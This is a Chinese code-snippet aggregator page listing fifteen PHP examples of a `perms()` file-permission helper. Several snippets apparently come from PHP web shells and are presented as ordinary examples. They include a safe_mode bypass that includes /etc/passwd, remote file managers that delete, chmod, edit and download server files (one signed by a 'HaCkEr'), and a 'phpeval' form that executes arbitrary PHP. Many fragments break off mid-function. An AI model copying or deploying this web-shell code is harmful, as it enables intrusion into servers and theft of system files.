本文整理汇总了PHP中perms函数的典型用法代码示例。如果您正苦于以下问题:PHP perms函数的具体用法?PHP perms怎么用?PHP perms使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了perms函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: __construct
public function __construct($duration = '', $location = '')
{
$this->duration = $duration != '' ? $duration : CACHE_TIME;
$this->location = $location != '' ? $location : '/app/cache';
if (perms($this->location) != '777') {
display_error('Please make your cache writable by running the following command $ chmod -R 777 ' . path($this->location));
}
}
示例2: setUserCookie
public function setUserCookie($path)
{
if (!file_exists(path($path))) {
$file = new File();
if (perms('/app/cache/') != '777') {
display_system('The path to the file ' . path($path) . ' is not writable.<br />Please enter chmod -R 777 ' . path('/app/cache/') . ' on your terminal to fix this.');
} else {
$file->write($path, ' ');
chmod(path($path), 0755);
}
}
$this->user_cookie = path($path);
}
示例3: viewPermsColor
function viewPermsColor($f)
{
if (!@is_readable($f)) {
return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
} elseif (!@is_writable($f)) {
return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
} else {
return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
}
}
示例4: viewPermsColor
function viewPermsColor($f) {
if (!is_readable($f))
return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
elseif (!is_writable($f))
return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
else
return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
}
示例5: safe_ex
function safe_ex($in)
{
if ($in) {
$d = dir('.');
while (false !== ($file = $d->read())) {
if ($file == "." || $file == "..") {
continue;
}
@clearstatcache();
list($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if (!$unix) {
echo date("d.m.Y H:i", $mtime) . " ";
if (@is_dir($file)) {
echo " <DIR> ";
} else {
printf("% 7s ", $size);
}
} else {
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode . " ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ", $nlink, $owner['name'], $grgid['name'], $size);
echo date("d.m.Y H:i ", $mtime);
}
echo "{$file}\n";
}
$d->close();
}
function safe_read($in)
{
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include "/etc/passwd";
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
file_get_contents($in);
}
}
示例6: list
continue;
}
@clearstatcache();
list($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if ($windows) {
echo date("d.m.Y H:i", $mtime);
if (@is_dir($file)) {
echo " <DIR> ";
} else {
printf("% 7s ", $size);
}
} else {
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode . " ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ", $nlink, $owner['name'], $grgid['name'], $size);
echo date("d.m.Y H:i ", $mtime);
}
echo "{$file}\n";
}
$d->close();
} else {
echo $lang[$language . _text29];
}
break;
case 'safe_file':
if (@is_file($_POST['file'])) {
$file = @file($_POST['file']);
if ($file) {
$c = @sizeof($file);
示例7: filetype
$directory = $directory . "<tr><td>{$filename}</td><td>" . filetype($filename) . "</td><td></td><td>" . date("G:i j M Y", fileatime($filename)) . "</td><td>" . date("G:i j M Y", filemtime($filename)) . "</td><td>" . perms(fileperms($filename));
if (is_writable($filename) == true) {
$directory = $directory . "<td>Yes</td>";
} else {
$directory = $directory . "<td>No</td>";
}
if (is_readable($filename) == true) {
$directory = $directory . "<td>Yes</td>";
} else {
$directory = $directory . "<td>No</td>";
}
$dires = $dires . $directory;
}
if (is_file($filename) == true) {
$file = "";
$file = $file . "<tr><td><a onclick=tag('{$filename}')>{$filename}</a></td><td>" . filetype($filename) . "</td><td>" . filesize($filename) . "</td><td>" . date("G:i j M Y", fileatime($filename)) . "</td><td>" . date("G:i j M Y", filemtime($filename)) . "</td><td>" . perms(fileperms($filename));
if (is_writable($filename) == true) {
$file = $file . "<td>Yes</td>";
} else {
$file = $file . "<td>No</td>";
}
if (is_readable($filename) == true) {
$file = $file . "<td>Yes</td></td></tr>";
} else {
$file = $file . "<td>No</td></td></tr>";
}
$files = $files . $file;
}
}
}
echo $dires;
示例8: showdir
function showdir($df)
{
$df = str_replace("//", "/", $df);
$dirs = array();
$files = array();
if ($dir = opendir($df)) {
while (($file = readdir($dir)) !== false) {
if ($file == "." || $file == "..") {
continue;
}
if (is_dir("{$df}/{$file}")) {
$dirs[] = $file;
} else {
$files[] = $file;
}
}
}
closedir($dir);
sort($dirs);
sort($files);
echo <<<EOF
<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
EOF;
for ($i = 0; $i < count($dirs); $i++) {
$perm = perms("{$df}/{$dirs[$i]}");
echo <<<EOF
<tr height="1">
<td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="{$PHP_SELF}?d={$df}/{$dirs[$i]}&show"><img HSPACE=3 border=0 src={$PHP_SELF}?imgname=dir></a></span></td>
<td width="241" bgcolor="#FFFFF0"><a href="{$PHP_SELF}?d={$df}/{$dirs[$i]}&show">{$dirs[$i]}</a></td>
<td width="100" align="center" bgcolor="#FFFFFF"><a href="{$PHP_SELF}?deldir={$df}/{$dirs[$i]}/">Удалить</a></td>
<td width="51" align="center" bgcolor="#EFFFFF"><span class="style8"><center>Каталог</center></span></td>
<td width="113" align="center" bgcolor="#FFFFF0">{$perm}</td>
</tr>
EOF;
}
for ($i = 0; $i < count($files); $i++) {
$attr = "";
if (!($fi = @fopen("{$df}/{$files[$i]}", "r+"))) {
$attr = " ONLY_READ ";
$read = " href=\"{$PHP_SELF}?edit={$df}/{$files[$i]}&readonly\"";
$write = " href=\"{$PHP_SELF}?delfile={$df}/{$files[$i]}\"";
} else {
fclose($fi);
}
if (!($fi = @fopen("{$df}/{$files[$i]}", "r"))) {
$attr = " Can't_READ ";
$read = "";
$write = " href=\"{$PHP_SELF}?delfile={$df}/{$files[$i]}\"";
} else {
fclose($fi);
}
if ($attr == "") {
$attr = " READ/WRITE ";
$read = " href=\"{$PHP_SELF}?edit={$df}/{$files[$i]}\"";
$write = " href=\"{$PHP_SELF}?delfile={$df}/{$files[$i]}\"";
}
$perm = perms("{$df}/{$files[$i]}");
$it = "file";
switch (ext($files[$i])) {
case ".txt":
$it = "txt";
break;
case ".php":
$it = "txt";
break;
case ".htm":
$it = "txt";
break;
case ".log":
$it = "txt";
break;
case ".pl":
$it = "txt";
break;
case ".asm":
$it = "txt";
break;
case ".bat":
$it = "txt";
break;
case ".bash_profile":
$it = "txt";
break;
case ".bash_history":
$it = "txt";
break;
case ".ini":
$it = "txt";
break;
case ".php3":
$it = "txt";
break;
case ".html":
$it = "txt";
break;
case ".cgi":
$it = "txt";
break;
case ".inc":
$it = "txt";
//.........这里部分代码省略.........
示例9: scandir
<tbody>
<?php
$s_scandir = scandir($s_patch_i);
foreach ($s_scandir as $key => $value_dir) {
$s_fpatch = "{$s_patch_i}/{$value_dir}";
if (!is_dir($s_fpatch) || !$value_dir == "." || !$value_dir == "..") {
$url_href = "?view=";
} else {
$url_href = "?cd=";
}
echo '<tr>
<td style="width:24px;">~</td>
<td><a href="' . $url_href . $s_fpatch . '">' . $value_dir . '</a></td>
<td>' . filesize_formatted($value_dir) . '</td>
<td><small>' . date("d F Y H:i:s", filemtime($value_dir)) . '</small></td>
<td style="width:10px;">' . perms($s_fpatch) . '</td>
<td>';
if (!is_dir($s_fpatch) || !$value_dir == "." || !$value_dir == "..") {
?>
<form action="" method="post">
<select name="opsi">
<option value="delete">Hapus</option>
<option value="edit">Edit</option>
<option value="rename">Rename</option>
<option value="download">Download</option>
</select>
<input type="hidden" name="s_patch_lct" value="<?php
echo $s_fpatch;
?>
">
<input type="hidden" name="s_name_file" value="<?php
示例10: list_files
function list_files($file_paths, $root_path, $class_folder, array $code_exts, array $validation_exts, $due_date = null)
{
// Prepare header row
$output = "<table>\n<tr>";
$output .= "<th>Permission</th>";
//$output .= "<th>User</th>";
//$output .= "<th>Group</th>";
$output .= "<th>File</th></th>";
$output .= "<th>Modify Date</th>";
$output .= "<th>Size</th>";
$output .= "<th>Extra</th>";
$output .= "</tr>\n";
foreach ($file_paths as $file_path) {
$relative_path = substr($file_path, strlen($root_path) + 1);
$split = split("/", $relative_path);
$filename = $split[count($split) - 1];
$stat = @stat($file_path);
$output .= '<tr>';
$output .= '<td>' . perms($stat['mode']) . '</td>';
//$output .= '<td>' . $stat['uid'] . '</td>';
//$output .= '<td>' . $stat['gid'] . '</td>';
// Display the correct link to our files
if (is_dir($file_path)) {
$output .= "<td><a class=\"folder\" href=\"?folder={$relative_path}\"";
} elseif (in_array(strtolower(pathinfo($file_path, PATHINFO_EXTENSION)), $code_exts)) {
$output .= "<td><a class=\"code\" href=\"?file={$relative_path}\"";
} else {
$output .= "<td><a class=\"show\" target=\"_blank\" href=\"/{$class_folder}/{$relative_path}\"";
}
$output .= ">" . (is_null($due_date) ? $relative_path : $filename) . "</a></td>";
// Show the date. Depending on the due date color the text
$ctime = date('Y-m-d H:i:s', $stat['ctime']);
$mtime = date('Y-m-d H:i:s', $stat['mtime']);
$output .= "<td onMouseOver=\"this.innerHTML='{$ctime}'\" onMouseOut=\"this.innerHTML='{$mtime}'\" ";
if (!is_null($due_date)) {
if ($stat['ctime'] < $due_date and $stat['mtime'] < $due_date) {
$output .= "class=\"success\"";
} else {
$output .= "class=\"error\"";
}
} elseif ($stat['ctime'] != $stat['mtime']) {
$output .= "class=\"warning\"";
}
$output .= ">{$mtime}</td>";
// Add a cell for the size. Ignore directories
if (is_dir($file_path)) {
$output .= "<td> </td>";
} else {
$output .= '<td class="right">' . $stat['size'] . '</td>';
}
// Add a cell for a validation link. Only do it for files we're checking.
if (in_array(strtolower(pathinfo($file_path, PATHINFO_EXTENSION)), $validation_exts)) {
$server_name = filter_input(INPUT_SERVER, 'SERVER_NAME');
$url = "https://{$server_name}/{$class_folder}/{$relative_path}";
$output .= "<td><a target=\"_blank\" href=\"http://validator.w3.org/check?uri={$url}\">Validate</a></td>";
} elseif (is_dir($file_path)) {
$output .= "<td><a class=\"code\" href=\"?files={$relative_path}\">View Code</a></td>";
}
$output .= "<td> </td>";
$output .= "</tr>\n";
}
$output .= "</table>\n";
if (count($file_paths) == 0) {
$output .= "<p class=\"error\">There are no files to display</p>";
}
return $output;
}
示例11: perm
function perm($arr, $nth = null)
{
if ($nth === null) {
return perms($arr);
}
$result = array();
$length = count($arr);
while ($length--) {
$f = factorial($length);
$p = floor($nth / $f);
$result[] = $arr[$p];
array_delete_by_key($arr, $p);
$nth -= $p * $f;
}
$result = array_merge($result, $arr);
return $result;
}
示例12: filesize
continue;
}
$size = filesize("{$path}/{$file}") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size = $size . ' KB';
}
echo "<tr>\r\n <td><a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td>\r\n <td><center>" . $size . "</center></td>\r\n <td><center>";
if (is_writable("{$path}/{$file}")) {
echo '<font color="green">';
} elseif (!is_readable("{$path}/{$file}")) {
echo '<font color="red">';
}
echo perms("{$path}/{$file}");
if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
echo '</font>';
}
echo "</center></td>\r\n <td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n <select name=\"opt\">\r\n\t <option value=\"\"></option>\r\n <option value=\"delete\">Delete</option>\r\n <option value=\"chmod\">Chmod</option>\r\n <option value=\"rename\">Rename</option>\r\n <option value=\"edit\">Edit</option>\r\n </select>\r\n <input type=\"hidden\" name=\"type\" value=\"file\">\r\n <input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n <input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n <input type=\"submit\" value=\">\" />\r\n </form></center></td>\r\n </tr>";
}
echo '</table>
</div>';
}
echo '<br />Da3s File Manager Version <font color="red">1.0</font>, Coded By <font color="red">Da3s HaCkEr</font><br />Email: <font color="red">R0@hotmail.com</font>
</BODY>
</HTML>';
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xc000) == 0xc000) {
示例13: chr
if (@($dh = opendir(chr($j) . ":/"))) {
$content .= '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . chr($j) . ':/\'; document.reqs.submit();"> ' . chr($j) . '<a/>';
}
}
$content .= "</td></tr>";
}
$content .= "<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
for ($i = 0; $i < count($dire); $i++) {
$link = $dir . $dire[$i];
$content .= '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . $link . '\'; document.reqs.submit();">' . $dire[$i] . '<a/></td>
<td>dir</td><td></td><td>' . perms($link) . '</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\'' . $link . '\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
}
for ($i = 0; $i < count($files); $i++) {
$linkfile = $dir . $files[$i];
$content .= '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();">' . $files[$i] . '</a><br></td>
<td>file</td><td>' . view_size(filesize($linkfile)) . '</td><td>' . perms($linkfile) . '</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Download">D</a>
<a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
}
$content .= "</table>";
}
}
}
//downloader
if ($action == 'download') {
header('Content-Length:' . filesize($file) . '');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file . '"');
readfile($file);
}
//phpeval
if ($action == 'phpeval') {
示例14: chr
$content .= "<tr><td>Select drive:";
for ($j = ord('C'); $j <= ord('Z'); $j++) {
if (@($dh = opendir(chr($j) . ":/"))) {
$content .= '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . chr($j) . ':/\'; document.reqs.submit();"> ' . chr($j) . '<a/>';
}
}
$content .= "</td></tr>";
}
$content .= "<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
for ($i = 0; $i < count($dire); $i++) {
$link = $dir . $dire[$i];
$content .= '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . $link . '\'; document.reqs.submit();">' . $dire[$i] . '<a/></td><td>dir</td><td></td><td>' . perms($link) . '</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\'' . $link . '\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
}
for ($i = 0; $i < count($files); $i++) {
$linkfile = $dir . $files[$i];
$content .= '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();">' . $files[$i] . '</a><br></td><td>file</td><td>' . view_size(filesize($linkfile)) . '</td><td>' . perms($linkfile) . '</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Download">D</a><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
}
$content .= "</table>";
}
}
}
//downloader
if ($action == "download") {
header('Content-Length:' . filesize($file) . '');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file . '"');
readfile($file);
}
//phpeval
if ($action == "phpeval") {
$content .= "<form method=\"POST\">\n <input type=\"hidden\" name=\"action\" value=\"phpeval\">\n <input type=\"hidden\" name=\"dir\" value=\"" . $dir . "\">\n <?php<br>\n <textarea name=\"phpev\" rows=\"5\" cols=\"150\">" . @$_POST['phpev'] . "</textarea><br>\n ?><br>\n <input type=\"submit\" value=\"execute\"></form>";
示例15: scandire
function scandire($dir)
{
$dir = chdir($dir);
$dir = getcwd() . "/";
$dir = str_replace("\\", "/", $dir);
if (is_dir($dir)) {
if (@($dh = opendir($dir))) {
while (($file = readdir($dh)) !== false) {
if (filetype($dir . $file) == "dir") {
$dire[] = $file;
}
if (filetype($dir . $file) == "file") {
$files[] = $file;
}
}
closedir($dh);
@sort($dire);
@sort($files);
echo "<table cellSpacing=0 border=1 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
echo "<tr><td><form method=POST>Open directory:<input type=text name=dir value=\"" . $dir . "\" size=50><input type=submit value=\"GO\"></form></td></tr>";
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
echo "<tr><td>Select drive:";
for ($j = ord('C'); $j <= ord('Z'); $j++) {
if (@($dh = opendir(chr($j) . ":/"))) {
echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . chr($j) . ':/\'; document.reqs.submit();"> ' . chr($j) . '<a/>';
}
}
echo "</td></tr>";
}
echo "<tr><td>OS: " . @php_uname() . "</td></tr>\n<tr><td>name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
for ($i = 0; $i < count($dire); $i++) {
$link = $dir . $dire[$i];
echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . $link . '\'; document.reqs.submit();">' . $dire[$i] . '<a/></td><td>dir</td><td></td><td>' . perms($link) . '</td></tr>';
}
for ($i = 0; $i < count($files); $i++) {
$linkfile = $dir . $files[$i];
echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();">' . $files[$i] . '</a><br></td><td>file</td><td>' . view_size(filesize($linkfile)) . '</td>
<td>' . perms($linkfile) . '</td>
<td>
<a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();" title="Download">D</a>
<a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();" title="Edit">E</a></tr>';
}
echo "</table>";
}
}
}